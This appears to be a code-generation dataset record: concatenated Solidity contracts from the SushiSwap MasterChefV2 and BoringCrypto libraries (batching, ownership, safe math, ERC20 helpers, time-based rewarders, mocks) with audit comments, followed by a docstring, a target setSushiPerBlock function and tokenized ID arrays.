batch function, adding it to a batch makes no sense // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value // C1 - C21: OK // C3: The length of the loop is fully under user control, so can't be exploited // C7: Delegatecall is only used on the same contract, so it's safe function batch(bytes[] calldata calls, bool revertOnFail) external payable returns(bool[] memory successes, bytes[] memory results) { // Interactions successes = new bool[](calls.length); results = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); require(success || !revertOnFail, _getRevertMsg(result)); successes[i] = success; results[i] = result; } } } // T1 - T4: OK contract BoringBatchable is BaseBoringBatchable { // F1 - F9: OK // F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert) // if part of a batch this could be used to grief once as the second call would not need the permit // C1 - C21: OK function permitToken(IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public { // Interactions // X1 - X5 token.permit(from, to, amount, deadline, v, r, s); } } // SPDX-License-Identifier: MIT // Audit on 5-Jan-2021 by Keno and BoringCrypto // P1 - P3: OK pragma solidity 0.6.12; // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol // Edited by BoringCrypto // T1 - T4: OK contract BoringOwnableData { // V1 - V5: OK address public owner; // V1 - V5: OK address public pendingOwner; } // T1 - T4: OK contract BoringOwnable is BoringOwnableData { // E1: OK event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } // F1 - F9: OK // C1 - C21: OK function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } // F1 - F9: OK // C1 - C21: OK function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } // M1 - M5: OK // C1 - C21: OK modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math) library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a - b) <= a, "BoringMath: Underflow");} function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {require(b == 0 || (c = a * b)/b == a, "BoringMath: Mul Overflow");} function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } // Copied over from SafeMath.sol /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } function toUInt256(int256 a) internal pure returns (uint256) { require(a >= 0, "Integer < 0"); return uint256(a); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol"; interface IRewarder { using BoringERC20 for IERC20; function onSushiReward(uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount) external; function pendingTokens(uint256 pid, address user, uint256 sushiAmount) external view returns (IERC20[] memory, uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol"; interface IMasterChef { using BoringERC20 for IERC20; struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SUSHI to distribute per block. uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs. uint256 accSushiPerShare; // Accumulated SUSHI per share, times 1e12. See below. } function poolInfo(uint256 pid) external view returns (IMasterChef.PoolInfo memory); function totalAllocPoint() external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.12; import "../interfaces/IERC20.sol"; library BoringERC20 { function safeSymbol(IERC20 token) internal view returns(string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeName(IERC20 token) internal view returns(string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } function safeTransfer(IERC20 token, address to, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } function safeTransferFrom(IERC20 token, address from, address to, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // EIP 2612 function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../interfaces/IRewarder.sol"; import "@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol"; import "@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol"; contract RewarderMock is IRewarder { using BoringMath for uint256; using BoringERC20 for IERC20; uint256 private immutable rewardMultiplier; IERC20 private immutable rewardToken; uint256 private constant REWARD_TOKEN_DIVISOR = 1e18; address private immutable MASTERCHEF_V2; constructor (uint256 _rewardMultiplier, IERC20 _rewardToken, address _MASTERCHEF_V2) public { rewardMultiplier = _rewardMultiplier; rewardToken = _rewardToken; MASTERCHEF_V2 = _MASTERCHEF_V2; } function onSushiReward (uint256, address user, address to, uint256 sushiAmount, uint256) onlyMCV2 override external { uint256 pendingReward = sushiAmount.mul(rewardMultiplier) / REWARD_TOKEN_DIVISOR; uint256 rewardBal = rewardToken.balanceOf(address(this)); if (pendingReward > rewardBal) { rewardToken.safeTransfer(to, rewardBal); } else { rewardToken.safeTransfer(to, pendingReward); } } function pendingTokens(uint256 pid, address user, uint256 sushiAmount) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) { IERC20[] memory _rewardTokens = new IERC20[](1); _rewardTokens[0] = (rewardToken); uint256[] memory _rewardAmounts = new uint256[](1); _rewardAmounts[0] = sushiAmount.mul(rewardMultiplier) / REWARD_TOKEN_DIVISOR; return (_rewardTokens, _rewardAmounts); } modifier onlyMCV2 { require( msg.sender == MASTERCHEF_V2, "Only MCV2 can call this function." ); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math) library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a - b) <= a, "BoringMath: Underflow");} function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {require(b == 0 || (c = a * b)/b == a, "BoringMath: Mul Overflow");} function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) {require((c = a + b) >= b, "BoringMath: Add Overflow");} function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {require((c = a - b) <= a, "BoringMath: Underflow");} } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../interfaces/IRewarder.sol"; import "@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol"; import "@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol"; import "@boringcrypto/boring-solidity/contracts/BoringOwnable.sol"; interface IMasterChefV2 { function lpToken(uint256 pid) external view returns (IERC20 _lpToken); } /// @author @0xKeno contract CloneRewarderTimeDual is IRewarder, BoringOwnable{ using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; IERC20 public rewardToken1; IERC20 public rewardToken2; /// @notice Info of each Rewarder user. /// `amount` LP token amount the user has provided. /// `rewardDebt1` The amount of reward token 1 entitled to the user. /// `rewardDebt2` The amount of reward token 2 entitled to the user. struct UserInfo { uint256 amount; uint256 rewardDebt1; uint256 rewardDebt2; uint256 unpaidRewards1; uint256 unpaidRewards2; } /// @notice Info of the rewarder pool. struct PoolInfo { uint128 accToken1PerShare; uint128 accToken2PerShare; uint64 lastRewardTime; } /// @notice Info of each pool. mapping (uint256 => PoolInfo) public poolInfo; /// @notice Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint128 public rewardPerSecond1; uint128 public rewardPerSecond2; IERC20 public masterLpToken; uint256 private constant ACC_TOKEN_PRECISION = 1e12; address public immutable MASTERCHEF_V2; uint256 internal unlocked; modifier lock() { require(unlocked == 1, "LOCKED"); unlocked = 2; _; unlocked = 1; } event LogOnReward(address indexed user, uint256 indexed pid, uint256 amount1, uint256 amount2, address indexed to); event LogUpdatePool(uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accToken1PerShare, uint256 accToken2PerShare); event LogRewardPerSecond(uint256 rewardPerSecond1, uint256 rewardPerSecond2); event LogInit(IERC20 rewardToken1, IERC20 rewardToken2, address owner, uint256 rewardPerSecond1, uint256 rewardPerSecond2, IERC20 indexed masterLpToken); constructor (address _MASTERCHEF_V2) public { MASTERCHEF_V2 = _MASTERCHEF_V2; } /// @notice Serves as the constructor for clones, as clones can't have a regular constructor /// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData) function init(bytes calldata data) public payable { require(rewardToken1 == IERC20(0), "Rewarder: already initialized"); (rewardToken1, rewardToken2, owner, rewardPerSecond1, rewardPerSecond2, masterLpToken) = abi.decode(data, (IERC20, IERC20, address, uint128, uint128, IERC20)); require(rewardToken1 != IERC20(0), "Rewarder: bad token"); unlocked = 1; emit LogInit(rewardToken1, rewardToken2, owner, rewardPerSecond1, rewardPerSecond2, masterLpToken); } function onSushiReward (uint256 pid, address _user, address to, uint256, uint256 lpTokenAmount) onlyMCV2 lock override external { require(IMasterChefV2(MASTERCHEF_V2).lpToken(pid) == masterLpToken); PoolInfo memory pool = updatePool(pid); UserInfo memory _userInfo = userInfo[pid][_user]; uint256 pending1; uint256 pending2; if (_userInfo.amount > 0) { pending1 = (_userInfo.amount.mul(pool.accToken1PerShare) / ACC_TOKEN_PRECISION).sub( _userInfo.rewardDebt1 ).add(_userInfo.unpaidRewards1); pending2 = (_userInfo.amount.mul(pool.accToken2PerShare) / ACC_TOKEN_PRECISION).sub( _userInfo.rewardDebt2 ).add(_userInfo.unpaidRewards2); uint256 balance1 = rewardToken1.balanceOf(address(this)); uint256 balance2 = rewardToken2.balanceOf(address(this)); if (pending1 > balance1) { rewardToken1.safeTransfer(to, balance1); _userInfo.unpaidRewards1 = pending1 - balance1; } else { rewardToken1.safeTransfer(to, pending1); _userInfo.unpaidRewards1 = 0; } if (pending2 > balance2) { rewardToken2.safeTransfer(to, balance2); _userInfo.unpaidRewards2 = pending2 - balance2; } else { rewardToken2.safeTransfer(to, pending2); _userInfo.unpaidRewards2 = 0; } } _userInfo.amount = lpTokenAmount; _userInfo.rewardDebt1 = lpTokenAmount.mul(pool.accToken1PerShare) / ACC_TOKEN_PRECISION; _userInfo.rewardDebt2 = lpTokenAmount.mul(pool.accToken2PerShare) / ACC_TOKEN_PRECISION; userInfo[pid][_user] = _userInfo; emit LogOnReward(_user, pid, pending1 - _userInfo.unpaidRewards1, pending2 - _userInfo.unpaidRewards2, to); } function pendingTokens(uint256 pid, address user, uint256) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) { IERC20[] memory _rewardTokens = new IERC20[](2); _rewardTokens[0] = rewardToken1; _rewardTokens[1] = rewardToken2; uint256[] memory _rewardAmounts = new uint256[](2); (uint256 reward1, uint256 reward2) = pendingToken(pid, user); _rewardAmounts[0] = reward1; _rewardAmounts[1] = reward2; return (_rewardTokens, _rewardAmounts); } function rewardRates() external view returns (uint256[] memory) { uint256[] memory _rewardRates = new uint256[](2); _rewardRates[0] = rewardPerSecond1; _rewardRates[1] = rewardPerSecond2; return (_rewardRates); } /// @notice Sets the sushi per second to be distributed. Can only be called by the owner. /// @param _rewardPerSecond1 The amount of reward token 1 to be distributed per second. /// @param _rewardPerSecond2 The amount of reward token 2 to be distributed per second. function setRewardPerSecond(uint128 _rewardPerSecond1, uint128 _rewardPerSecond2) public onlyOwner { rewardPerSecond1 = _rewardPerSecond1; rewardPerSecond2 = _rewardPerSecond2; emit LogRewardPerSecond(_rewardPerSecond1, _rewardPerSecond2); } /// @notice Allows owner to reclaim/withdraw any tokens (including reward tokens) held by this contract /// @param token Token to reclaim, use 0x00 for Ethereum /// @param amount Amount of tokens to reclaim /// @param to Receiver of the tokens, first of his name, rightful heir to the lost tokens, /// reightful owner of the extra tokens, and ether, protector of mistaken transfers, mother of token reclaimers, /// the Khaleesi of the Great Token Sea, the Unburnt, the Breaker of blockchains. function reclaimTokens(address token, uint256 amount, address payable to) public onlyOwner { if (token == address(0)) { to.transfer(amount); } else { IERC20(token).safeTransfer(to, amount); } } modifier onlyMCV2 { require( msg.sender == MASTERCHEF_V2, "Only MCV2 can call this function." ); _; } /// @notice View function to see pending Token /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. function pendingToken(uint256 _pid, address _user) public view returns (uint256 reward1, uint256 reward2) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accToken1PerShare = pool.accToken1PerShare; uint256 accToken2PerShare = pool.accToken2PerShare; uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(_pid).balanceOf(MASTERCHEF_V2); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 pending1 = time.mul(rewardPerSecond1); uint256 pending2 = time.mul(rewardPerSecond2); accToken1PerShare = accToken1PerShare.add(pending1.mul(ACC_TOKEN_PRECISION) / lpSupply); accToken2PerShare = accToken2PerShare.add(pending2.mul(ACC_TOKEN_PRECISION) / lpSupply); } reward1 = (user.amount.mul(accToken1PerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt1).add(user.unpaidRewards1); reward2 = (user.amount.mul(accToken2PerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt2).add(user.unpaidRewards2); } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.timestamp > pool.lastRewardTime) { uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(pid).balanceOf(MASTERCHEF_V2); if (lpSupply > 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 pending1 = time.mul(rewardPerSecond1); uint256 pending2 = time.mul(rewardPerSecond2); pool.accToken1PerShare = pool.accToken1PerShare.add((pending1.mul(ACC_TOKEN_PRECISION) / lpSupply).to128()); pool.accToken2PerShare = pool.accToken2PerShare.add((pending2.mul(ACC_TOKEN_PRECISION) / lpSupply).to128()); } pool.lastRewardTime = block.timestamp.to64(); poolInfo[pid] = pool; emit LogUpdatePool(pid, pool.lastRewardTime, lpSupply, pool.accToken1PerShare, pool.accToken2PerShare); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../interfaces/IRewarder.sol"; import "@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol"; import "@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol"; import "@boringcrypto/boring-solidity/contracts/BoringOwnable.sol"; interface IMasterChefV2 { function lpToken(uint256 pid) external view returns (IERC20 _lpToken); } /// @author @0xKeno contract CloneRewarderTime is IRewarder, BoringOwnable{ using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; IERC20 public rewardToken; /// @notice Info of each Rewarder user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of Reward Token entitled to the user. struct UserInfo { uint256 amount; uint256 rewardDebt; uint256 unpaidRewards; } /// @notice Info of the rewarder pool struct PoolInfo { uint128 accToken1PerShare; uint64 lastRewardTime; } /// @notice Mapping to track the rewarder pool. mapping (uint256 => PoolInfo) public poolInfo; /// @notice Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public rewardPerSecond; IERC20 public masterLpToken; uint256 private constant ACC_TOKEN_PRECISION = 1e12; address public immutable MASTERCHEF_V2; uint256 internal unlocked; modifier lock() { require(unlocked == 1, "LOCKED"); unlocked = 2; _; unlocked = 1; } event LogOnReward(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event LogUpdatePool(uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accToken1PerShare); event LogRewardPerSecond(uint256 rewardPerSecond); event LogInit(IERC20 indexed rewardToken, address owner, uint256 rewardPerSecond, IERC20 indexed masterLpToken); constructor (address _MASTERCHEF_V2) public { MASTERCHEF_V2 = _MASTERCHEF_V2; } /// @notice Serves as the constructor for clones, as clones can't have a regular constructor /// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData) function init(bytes calldata data) public payable { require(rewardToken == IERC20(0), "Rewarder: already initialized"); (rewardToken, owner, rewardPerSecond, masterLpToken) = abi.decode(data, (IERC20, address, uint256, IERC20)); require(rewardToken != IERC20(0), "Rewarder: bad token"); unlocked = 1; emit LogInit(rewardToken, owner, rewardPerSecond, masterLpToken); } function onSushiReward (uint256 pid, address _user, address to, uint256, uint256 lpTokenAmount) onlyMCV2 lock override external { require(IMasterChefV2(MASTERCHEF_V2).lpToken(pid) == masterLpToken); PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][_user]; uint256 pending; if (user.amount > 0) { pending = (user.amount.mul(pool.accToken1PerShare) / ACC_TOKEN_PRECISION).sub( user.rewardDebt ).add(user.unpaidRewards); uint256 balance = rewardToken.balanceOf(address(this)); if (pending > balance) { rewardToken.safeTransfer(to, balance); user.unpaidRewards = pending - balance; } else { rewardToken.safeTransfer(to, pending); user.unpaidRewards = 0; } } user.amount = lpTokenAmount; user.rewardDebt = lpTokenAmount.mul(pool.accToken1PerShare) / ACC_TOKEN_PRECISION; emit LogOnReward(_user, pid, pending - user.unpaidRewards, to); } function pendingTokens(uint256 pid, address user, uint256) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) { IERC20[] memory _rewardTokens = new IERC20[](1); _rewardTokens[0] = (rewardToken); uint256[] memory _rewardAmounts = new uint256[](1); _rewardAmounts[0] = pendingToken(pid, user); return (_rewardTokens, _rewardAmounts); } function rewardRates() external view returns (uint256[] memory) { uint256[] memory _rewardRates = new uint256[](1); _rewardRates[0] = rewardPerSecond; return (_rewardRates); } /// @notice Sets the sushi per second to be distributed. Can only be called by the owner. /// @param _rewardPerSecond The amount of Sushi to be distributed per second. function setRewardPerSecond(uint256 _rewardPerSecond) public onlyOwner { rewardPerSecond = _rewardPerSecond; emit LogRewardPerSecond(_rewardPerSecond); } /// @notice Allows owner to reclaim/withdraw any tokens (including reward tokens) held by this contract /// @param token Token to reclaim, use 0x00 for Ethereum /// @param amount Amount of tokens to reclaim /// @param to Receiver of the tokens, first of his name, rightful heir to the lost tokens, /// reightful owner of the extra tokens, and ether, protector of mistaken transfers, mother of token reclaimers, /// the Khaleesi of the Great Token Sea, the Unburnt, the Breaker of blockchains. function reclaimTokens(address token, uint256 amount, address payable to) public onlyOwner { if (token == address(0)) { to.transfer(amount); } else { IERC20(token).safeTransfer(to, amount); } } modifier onlyMCV2 { require( msg.sender == MASTERCHEF_V2, "Only MCV2 can call this function." ); _; } /// @notice View function to see pending Token /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending SUSHI reward for a given user. function pendingToken(uint256 _pid, address _user) public view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accToken1PerShare = pool.accToken1PerShare; uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(_pid).balanceOf(MASTERCHEF_V2); if (block.timestamp > pool.lastRewardTime && lpSupply != 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 sushiReward = time.mul(rewardPerSecond); accToken1PerShare = accToken1PerShare.add(sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply); } pending = (user.amount.mul(accToken1PerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt).add(user.unpaidRewards); } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.timestamp > pool.lastRewardTime) { uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(pid).balanceOf(MASTERCHEF_V2); if (lpSupply > 0) { uint256 time = block.timestamp.sub(pool.lastRewardTime); uint256 sushiReward = time.mul(rewardPerSecond); pool.accToken1PerShare = pool.accToken1PerShare.add((sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply).to128()); } pool.lastRewardTime = block.timestamp.to64(); poolInfo[pid] = pool; emit LogUpdatePool(pid, pool.lastRewardTime, lpSupply, pool.accToken1PerShare); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../interfaces/IRewarder.sol"; contract RewarderBrokenMock is IRewarder { function onSushiReward (uint256, address, address, uint256, uint256) override external { revert(); } function pendingTokens(uint256 pid, address user, uint256 sushiAmount) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts){ revert(); } }
@notice Sets the sushi per block to be distributed. Can only be called by the owner. @param _sushiPerBlock The amount of Sushi to be distributed per second.
function setSushiPerBlock(uint256 _sushiPerBlock) public onlyOwner { sushiPerBlock = _sushiPerBlock; emit LogSushiPerBlock(_sushiPerBlock); }
1,382,837
[ 1, 2785, 326, 272, 1218, 77, 1534, 1203, 358, 506, 16859, 18, 4480, 1338, 506, 2566, 635, 326, 3410, 18, 225, 389, 87, 1218, 77, 2173, 1768, 1021, 3844, 434, 348, 1218, 77, 358, 506, 16859, 1534, 2205, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13928, 1218, 77, 2173, 1768, 12, 11890, 5034, 389, 87, 1218, 77, 2173, 1768, 13, 1071, 1338, 5541, 288, 203, 3639, 272, 1218, 77, 2173, 1768, 273, 389, 87, 1218, 77, 2173, 1768, 31, 203, 3639, 3626, 1827, 55, 1218, 77, 2173, 1768, 24899, 87, 1218, 77, 2173, 1768, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 